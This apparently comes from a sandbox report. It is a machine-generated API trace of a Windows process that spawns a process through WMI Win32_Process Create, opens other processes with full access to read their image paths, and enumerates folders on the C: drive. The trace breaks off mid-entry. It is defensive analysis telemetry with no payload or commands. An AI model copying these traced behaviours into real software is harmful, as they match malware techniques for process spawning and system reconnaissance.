This=0x1171fa0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0079.656] IUnknown:AddRef (This=0x1171fa0) returned 0x3 [0079.656] IUnknown:QueryInterface (in: This=0x1171fa0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0079.656] IUnknown:QueryInterface (in: This=0x1171fa0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0079.656] IUnknown:QueryInterface (in: This=0x1171fa0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1171fa8) returned 0x0 [0079.656] IMarshal:GetUnmarshalClass (in: This=0x1171fa8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0079.656] IUnknown:Release (This=0x1171fa8) returned 0x3 [0079.656] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0079.657] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0079.657] IUnknown:QueryInterface (in: This=0x1171fa0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0079.657] IUnknown:Release (This=0x1171fa0) returned 0x2 [0079.657] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0079.657] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0079.657] IUnknown:QueryInterface (in: This=0x1171fa0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0079.657] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0079.657] IUnknown:QueryInterface (in: This=0x1171fa0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0079.657] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0079.657] IUnknown:AddRef (This=0x1171fa0) returned 0x3 [0079.657] IWbemClassObject:Put (This=0x1bf6cf70, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1171fa0, varVal2=0x0), Type=0) returned 0x0 [0079.657] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd5c0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0079.657] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd5c0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0079.658] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd5c0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0079.658] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd500, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0079.658] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0079.658] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.658] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd5c0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0079.658] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd5c0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0079.658] IWbemServices:ExecMethod (in: This=0x1c0174e0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf6cf70, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6d220, ppCallResult=0x0) returned 0x0 [0079.853] IWbemClassObject:Get (in: This=0x1bf6d220, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa0e10*=0, plFlavor=0x2aa0e14*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcfc, varVal2=0x0), pType=0x2aa0e10*=19, plFlavor=0x2aa0e14*=0) returned 0x0 [0079.854] IWbemClassObject:Get (in: This=0x1bf6d220, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa0e10*=19, plFlavor=0x2aa0e14*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcfc, varVal2=0x0), pType=0x2aa0e10*=19, plFlavor=0x2aa0e14*=0) returned 0x0 [0079.856] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xa98) returned 0x25c [0079.856] GetExitCodeProcess (in: hProcess=0x25c, lpExitCode=0x28ee49c | out: lpExitCode=0x28ee49c*=0x103) returned 1 [0079.856] CoTaskMemAlloc (cb=0x404) returned 0x1c02d700 [0079.857] QueryFullProcessImageNameA (in: hProcess=0x25c, dwFlags=0x0, lpExeName=0x1c02d700, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files\\Windows Portable Devices\\3dftp.exe", lpdwSize=0x1b2fe138) returned 1 [0079.858] CoTaskMemFree (pv=0x1c02d700) [0079.863] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x848) returned 0x258 [0079.863] GetExitCodeProcess (in: hProcess=0x258, lpExitCode=0x28ee5b4 | out: lpExitCode=0x28ee5b4*=0x103) returned 1 [0079.863] CoTaskMemAlloc (cb=0x404) returned 0x1c02d700 [0079.863] QueryFullProcessImageNameA (in: hProcess=0x258, dwFlags=0x0, lpExeName=0x1c02d700, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Common Files\\class-decide.exe", lpdwSize=0x1b2fe138) returned 1 [0079.864] CoTaskMemFree (pv=0x1c02d700) [0079.867] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb38) returned 0x368 [0079.868] GetExitCodeProcess (in: hProcess=0x368, lpExitCode=0x28ef97c | out: lpExitCode=0x28ef97c*=0x103) returned 1 [0079.868] CoTaskMemAlloc (cb=0x404) returned 0x1c02d700 [0079.868] QueryFullProcessImageNameA (in: hProcess=0x368, dwFlags=0x0, lpExeName=0x1c02d700, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files\\Windows Media Player\\scriptftp.exe", lpdwSize=0x1b2fe138) returned 1 [0079.868] CoTaskMemFree (pv=0x1c02d700) [0079.871] CoTaskMemAlloc (cb=0x20c) returned 0x1118360 [0079.872] GetSystemDirectoryW (in: lpBuffer=0x1118360, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0079.872] CoTaskMemFree (pv=0x1118360) [0079.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0079.872] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0079.873] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bfbeb70 [0079.873] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x523740e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x523740e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0079.875] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0079.875] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0079.875] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0079.875] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.875] FindClose (in: hFindFile=0x1bfbeb70 | out: hFindFile=0x1bfbeb70) returned 1 [0079.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0079.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0079.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0079.876] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0079.876] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*" (normalized: "c:\\msocache\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbeb70 [0079.877] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.878] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf1f144f0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xff46b8b0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xff46b8b0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0079.878] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.878] FindClose (in: hFindFile=0x1bfbeb70 | out: hFindFile=0x1bfbeb70) returned 1 [0079.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0079.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0079.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0079.878] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0079.879] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*" (normalized: "c:\\msocache\\all users\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf1f144f0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xff46b8b0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xff46b8b0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbeb70 [0079.882] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf1f144f0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xff46b8b0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xff46b8b0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.887] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xff46b8b0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0x152ee030, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x152ee030, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{94AB0~1")) returned 1 [0079.887] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc18a270, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfcd971d0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfcd971d0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{98066~1")) returned 1 [0079.887] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfd9ca290, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfe72de50, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfe72de50, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9C19D~1")) returned 1 [0079.887] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe753fb0, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xfe8387f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xfe8387f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{989EF~1")) returned 1 [0079.888] FindNextFileW (in: hFindFile=0x1bfbeb70, lpFindFileData=0x1b2fdc10 | out: 